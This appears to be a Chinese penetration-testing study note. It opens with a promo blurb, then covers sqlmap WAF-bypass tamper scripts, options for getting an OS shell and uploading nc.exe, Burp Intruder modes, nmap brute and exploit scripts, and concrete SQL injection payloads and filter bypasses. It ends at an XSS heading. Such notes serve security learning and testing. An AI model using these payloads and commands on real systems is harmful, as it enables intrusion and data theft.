网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以戳这里获取
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
2181 zookeeper服务 未授权访问 8069 zabbix服务 远程执行、SQL注入 9200/9300 elasticsearch服务 远程执行 11211 memcache服务 未授权访问 512/513/514 linux rexec服务 匿名访问、文件上传 3690 SVN服务 SVN泄露、未授权访问 50000 SAP management console 远程执行
dedecms(织梦)、discuz、phpweb、phpwind、phpcms、ecshop、dvbbs、siteweaver、aspcms、帝国、z-blog、WordPress等
御剑web指纹识别、whatweb、webrobo、椰树、轻量web指纹识别等
SQLMap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改,读者还可以使用 --tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则,命令如下所示。
sqlmap.py XXXXX --tamper "模块名"
SQLMap1.4.9.3 本版本目前官方提供63个绕过脚本,下面是一个 tamper脚本的格式。
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
References:
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
* http://lukasz.pilorz.net/testy/unicode_conversion/
* http://sla.ckers.org/forum/read.php?13,11562,11850
* http://lukasz.pilorz.net/testy/full_width_utf/index.phps
>>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
"""
return payload.replace('\'', "%EF%BC%87") if payload else payload
这个脚本的作用是将引号替换为utf-8,用于过滤单引号。
使用脚本前语句为
1 AND '1'='1
使用脚本后
1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
不难看出,一个最小的 tamper脚本结构为 priority变量定义和dependencies、 tamper函数定义。
priority定义脚本的优先级,用于有多个 tamper脚本的情况dependencies函数声明该脚本适用/不适用的范围,可以为空。
下面以一个转大写字符绕过的脚本为例, tamper绕过脚本主要由dependencies和 tamper两个函数构成。 def tamper(payload, **kwargs)函数接收 payload和**kwargs返回一个 Payload。下面这段代码的意思是通过正则匹配所有字符,将所有攻击载荷中的字符转换为大写字母。
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces each keyword character with upper case value (e.g. select -> SELECT)
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
* This tamper script should work against all (?) databases
>>> tamper('insert')
'INSERT'
"""
retVal = payload
if payload:
for match in re.finditer(r"[A-Za-z_]+", retVal):
word = match.group()
if word.upper() in kb.keywords:
retVal = retVal.replace(word, word.upper())
return retVal
在日常使用中,我们会对一些网站是否有安全防护(WAF/IDS/IPS)进行试探,可以使用参数–identify-waf进行检测。
虽然 SQLMap自带的 tamper可以做很多事情,但在实际环境中,往往比较复杂,可能会遇到很多情况, tamper不可能很全面地应对各种环境,所以建议在学习如何使用自带的 tamper的同时,最好能够掌握 Tamper的编写规则,这样在应对各种实战环境时才能更自如。
-r dir/1.txt选项用来判断请求中是否存在注入(一般在存在cookie注入时使用) --users当当前用户有权限读取包含所有用户的表的权限时,可以列出所有管理用户 --identify-waf识别waf --current-db获取网站数据库的名称 --current-user获取当前网站数据库的用户名称 --is-dba检测当前用户是否为管理权限 --roles列出数据库管理员角色 --refererHTTPreferer头,sqlmap可以再请求中伪造HTTP中的Referer,当--level参数设定为3或3以上时,会尝试对Referer注入。可以使用Referer命令来欺骗,如--referer http://www.baidu.com --sql-shell运行自定义SQL语句 --os-cmd,--os-shell运行任意操作系统命令 --os-shell参数可以模拟一个真实的shell,输入想要执行的命令。当不能执行多语句时(比如PHP或asp的后端数据库为MySQL),仍然可以使用into outfile写进可写目录,创建一个web后门。--os-shell支持asp、asp.net、jsp和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是--is-dba的值要为True)。 --file-read从数据库服务器中读取文件,该命令用于读取执行文件,当数据库为mysql、postgresql或microsoft sql server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件例如: --file-read "c:/example.exe" -v 1 --file-write,--file-dest上传文件到数据库服务器中 --file-write "/software/nc.exe.packed" --file-dest "c:windows/temp/nc.exe" -v 1 --tamper=11.py选择相应的脚本来绕过waf等设备 apostrophemask.py 将引号替换为utf-8,用于过滤单引号 1 and'1'='1 使用脚本后语句为:1and%EF%BC%871%EF%BC%87=%EF%BC%871 base64encode.py 替换为base64编码 1' AND SLEEP(5)# ==> MScgQU5EIFNMRUVQKDUpIw== multiplespaces.py 围绕SQL关键字添加过个空格 1 UNION SELECT foobar => 1 UNION SELECT foobar space2plus.py 用+号替换空格 SELECT id FROM users => SELECT+id+FROM+users space2randomblank.py 将空格替换为其他有效字符 SELECT id FROM users => SELECT%0Did%0DFROM%0Dusers unionalltounion.py 将UNION ALL SELECT替换为UNION SELECT -1 UNION ALL SELECT => -1 UNION SELECT space2hash.py 将空格替换为#号,并添加一个随机字符串和换行符 1 AND 9227=9227 => 1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227 space2mssqlblank.py(mssql) 将空格替换为其他空符号 SELECT id FROM users => SELECT%0Eid%0DFROM%07users space2mssqlhash.py 将空格替换为#号,并添加一个换行符 1 AND 9227=9227 => 1%23%0AAND%23%0A9227=9227 between.py 用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND 替换等号(=)。 percentage.py ASP允许在每个字符前面添加一个%号 SELECT FIELD FROM TABLE=>%S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A%B%L%E sp_password.py 从DBMS日志的自动模糊处理的有效载荷中追加sp_password 1 AND 9=9- => 1 AND 9=9--sp_password charencode.py 对给定的payload全部字符使用URL编码(不处理已编码的字符) randomcase.py 随机大小写 charunicodeencode.py 字符串unicode编码 space2comment.py 将空格替换为/**/ equaltolike.py 将等号替换为like id=1 => id LIKE 1 greatest.py 绕过对">"的过滤,用GREATEST替换大于号。 A>B => GREATEST(A,B+1)=A 测试通过的数据库类型和版本: MySQL4、MySQL5.0和MySQL5.5 Oracle 10g PostgreSQL8.3、PostgreSQL8.4和PostgreSQL9.0 ifnull2ifisnull.py 绕过对IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)。 测试通过的数据库类型和版本为MySQL5.0和MySQL5.5 modsecurityversioned.py 过滤空格,使用MySQL内联注释的方式进行注入。 1 AND 2>1- => 1 /*!30874AND 2>1*/- 测试通过的数据库类型和版本为MySQL5.0 space2mysqlblank.py 将空格替换为其他空白符号(适用于mysql) SELECT id FROM users => SELECT%A0id%0BFROM%0Cusers 测试通过的数据库类型和版本为MySQL5.1 modsecurityzeroversioned.py 使用MySQL内联注释的方式(/*! 00000*/)进行注入。 1 AND 2>1- => 1 /*! 00000AND 2>1*/- 测试通过的数据库类型和版本为MySQL5.0 space2mysqldash.py 将空格替换为--,并添加一个换行符。 1 AND 2=2 => 1--%0AAND--%0A2=2 bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用LIKE替换等于号。%09替换空格。 测试通过的数据库类型和版本为MySQL5.1和SGOS versionedkeywords.py 注释绕过 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(58,116,58),IFNULL(CAST(CURRENT_USER()AS CHAR),CHAR(32)),CH/**/AR(58,100,114,117,58))# =>/*!UNION**! ALL**! SELECT**! NULL*/,/*!NULL*/,CONCAT(CHAR(58,116,58),IFNULL(CAST(CURRENT_USER()/*!AS **!CHAR*/),CHAR(32)),CH/**/AR(58,100,114,117,58))# halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,在每个关键字之前添加MySQL版本注释。及,在关键字之前添加"/*!0" 测试通过的数据库类型和版本为MySQL4.0.18和MySQL5.0.22 space2morehash.py 将空格替换为#号,并添加一个随机字符串和换行符 测试通过的数据库类型和版本为MySQL5.1.41 apostrophenullencode.py 用非法字符串Unicode字符替换单引号 ' => %00%27 appendnullbyte.py 在有效负荷的结束位置加载零字节字符编码 and 1=1 => and 1=1%00 chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符) unmagicquotes.py 用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。 1‘ AND 1=1 => 1%bf%27- randomcomments.py 用/**/分割SQL关键字 INSERT => IN/**/S/**/ERT sqlmap使用的时候,当注入点后面的参数大于等于两个时,-u选项后面的URL需要加双引号。 SQLMAP自带的tamper并非全能,需要自己了解编写规则,从容面对不同环境。
burp具有主动扫描和被动扫描两种功能。两种方式各有千秋。 sniper模式使用单一的payload组。它会针对每个位置设置payload。这种攻击类型适用于对常见漏洞中的请求参数单独进行fuzzging测试的情景。攻击中的请求总数应该是position数量和payload数量的乘积。 (单个参数挨个来,多个参数也是挨个来) Battering ram模式使用单一的payload组。它会重复payload并一次性把所有相同的payload放入指定的位置中。这种攻击适用于需要在请求中把相同的输入放到多个位置的情景。请求的总数是payload组中payload的总数。(单个参数挨个来,多个参数一起爆破) pitchfork模式使用多个payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。这种攻击类型非常适合在不同位置中需要插入不同但相似输入的情况。请求的数量应该是最小的payload组中的payload数量。(payload并排组合爆破,按照最小的payload数量执行) cluster bomb模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。这种攻击适用于在位置中需要不同且不相关或者未知输入攻击的情景。攻击请求的总数是各payload组中payload数量的乘积。(payload交叉组合爆破)
nmap完整的扫描命令:nmap -T4 -A -v 1.1.1.1 nmap 1.1.1.1 1.1.1.9 nmap 1.1.1.1-9 nmap 1.1.1.0/24 --exclude 1.1.1.4 nmap 1.1.1.0/24 --excludefile dir\6.txt nmap 1.1.1.1 -p21,22,23,80 nmap -sP 1.1.1.0/24查看目标地址C段的在线情况 nmap -sF -T4 1.1.1.1探测防火墙状态 nmap的scripts脚本主要分为以下几类: auth:负责处理鉴权证书(绕过鉴权) broadcast:在局域网内探查更多服务 brute:针对常见的应用提供暴力破解方式,如HTTP/SMTP等 default:使用-sC或-A选项扫描时默认的脚本,提供基本的脚本扫描能力 discovery:对网络进行更多信息的搜集,如SMB枚举、SNMP查询等 Dos:用于进行拒绝服务攻击。 exploit:利用已知的漏洞入侵系统。 external:利用第三方的数据库或资源。例如,进行Whois解析。 Fuzzer:模糊测试脚本,发送异常的包到目标机,探测出潜在漏洞。 Intrusive:入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽。 Malware:探测目标机是否感染了病毒、开启后门等信息。 Safe:此类与intrusive相反,属于安全性脚本。 Version:负责增强服务与版本扫描功能的脚本。 Vuln:负责检查目标机器是否有常见漏洞,如MS09-067 -sC 使用默认脚本进行扫描 --script=:等于号后面跟文件名,用改脚本进行扫描 --script-args=key1=value1,key2=value2...该参数用于传递脚本里的参数,key1是参数名,改参数对应value1这个值。如果有更多的参数,使用逗号连接。 --script-args-file=filename使用文件为脚本提供参数。 --script-trace如果设置该参数,则显示脚本执行过程中发送与接收的数据。 --script-updatedb在nmap的scripts目录里有一个script.db文件,改文件保存了当前nmap可用的脚本,类似于一个小型数据库,如果我们开启nmap并调用了此参数,则nmap会自行进行扫描scripts目录中的扩展脚本,进行数据库更新。 --script-help调用该参数后,nmap会输出该脚本对应的脚本使用参数,以及详细的介绍信息 nmap --script=auth 192.168.0.16 对目标主机或目标主机所在的网段进行应用弱口令检测 nmap --script=brute 192.168.0.16 nmap具有暴力破解的功能,可以对数据库、SMB、SNMP等进行简单密码的暴力破解。 nmap --script=vuln 192.168.0.16 nmap具备漏洞扫描的功能,可以检查目标主机或网段是否存在常见的漏洞。 nmap --script=realvnc-auth-bypass 100.64.0.1 nmap具备很多常见应用服务的扫描脚本,例如VNC服务、MySQL服务/telnet服务、Rsync服务,此处以VNC服务为例。 nmap -n -p445 --script=broadcast 100.64.0.1该命令可探测局域网内更多服务开启的情况。 nmap --script external bing.comwhois解析利用第三方的数据库或资源查询目标地址的信息。 https://nmap.org/nsedoc/categories/官网扫描脚本的使用方法
MySQL5.0版本之后,MySQL默认在数据库中存放一个"information_schema"的数据库,在该库中,需要记住三个表名,分别是SCHEMATA、TABLES、和COLUMNS。 SCHEMATA表存储该用户创建的所有数据库的库名。记录库名的字段是SCHEMA_NAME。 TABLES表存储该用户创建的所有数据库的库名和表名。记录数据库库名和表名的字段分别为TABLE_SCHEMA和TABLE_NAME。 COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名。记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA、TABLE_NAME和COMUMN_NAME。 limit(m,n):表示从第一条(行)记录开始,取一条记录。 database():当前网站使用的数据库 version():当前MySQL的版本 user():当前MySQL的用户 MySQL中的注释:#、-- (及横横空格)、/**/ 内联注释:/*! code*/ 内联注释可以用于整个SQL语句中,用来执行我们的SQL语句 ?id=-15 /*! UNION*//*! SECECT*/1,2,3
UNION注入攻击 判断注入点、order by判断字段数、union select 1,2,3(由于代码只返回第一条结果,我们可以让前面报错来正确的显示输出点:id=-1) 详情可见zk教程 Boolean注入 页面只进行正确或错误的返回,无法使用union注入攻击。 Boolean注入通过查看页面的返回结果来推测那些SQL判断条件是成立的,以此获取数据库中的数据。判断数据库名的长度为例:'and length(database())>=1--+ 可以在burp中抓取对应的数据包来跑数字,进行猜解。 报错注入 返回的内容在错误消息中。 时间注入攻击 他与Boolean注入的不同之处在于,时间注入是利用sleep()、huobenchmark()等函数让MySQL的执行时间变长。 堆叠查询注入攻击 堆叠查询可以执行多条语句,多条语句之间以分号隔开 id=1';select if (ord(substring(user(),1,1))=114,sleep(3),1);%23 二次注入攻击 a文件的传参过后会得到一个id值,b文件中传入该id值,正确回显注入的信息。 宽字节注入攻击 数据库的编码是gbk时才可用,吃掉/即可:id=1%df'and 1=1%23 需要使用单引号的未知中采用嵌套查询。避免出现单引号。 PHP中通过iconv()进行编码转换时,也可能存在宽字节注入漏洞。 cookie注入攻击 URL中没有get参数,但是页面返回正常,使用burp suite抓取数据包,发现cookie中存在id=1的参数。注入就开始了 base64注入攻击 %3d是=的url编码 id的传参经过base64编码,需要解码查看其中的内容 注入时对传参进行相应的编码即可 XFF注入攻击 抓包发现HTTP请求头中有XFF头。将XFF改为127.0.0.1访问发现页面正常。127.0.0.1'and 1=1#正常、127.0.0.1'and 1=2#错误,说明存在注入
大小写绕过注入(查询字段被拦截时可以采用大写的方式来绕过) 双写绕过and 1=1变成1=1,and被过滤了用anandd 1=1发现可以 URL全编码绕过(进行两次编码的意思) 内联注释绕过id=1 /*! and*/1=1
DOM型XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。 XSS常用测试语句: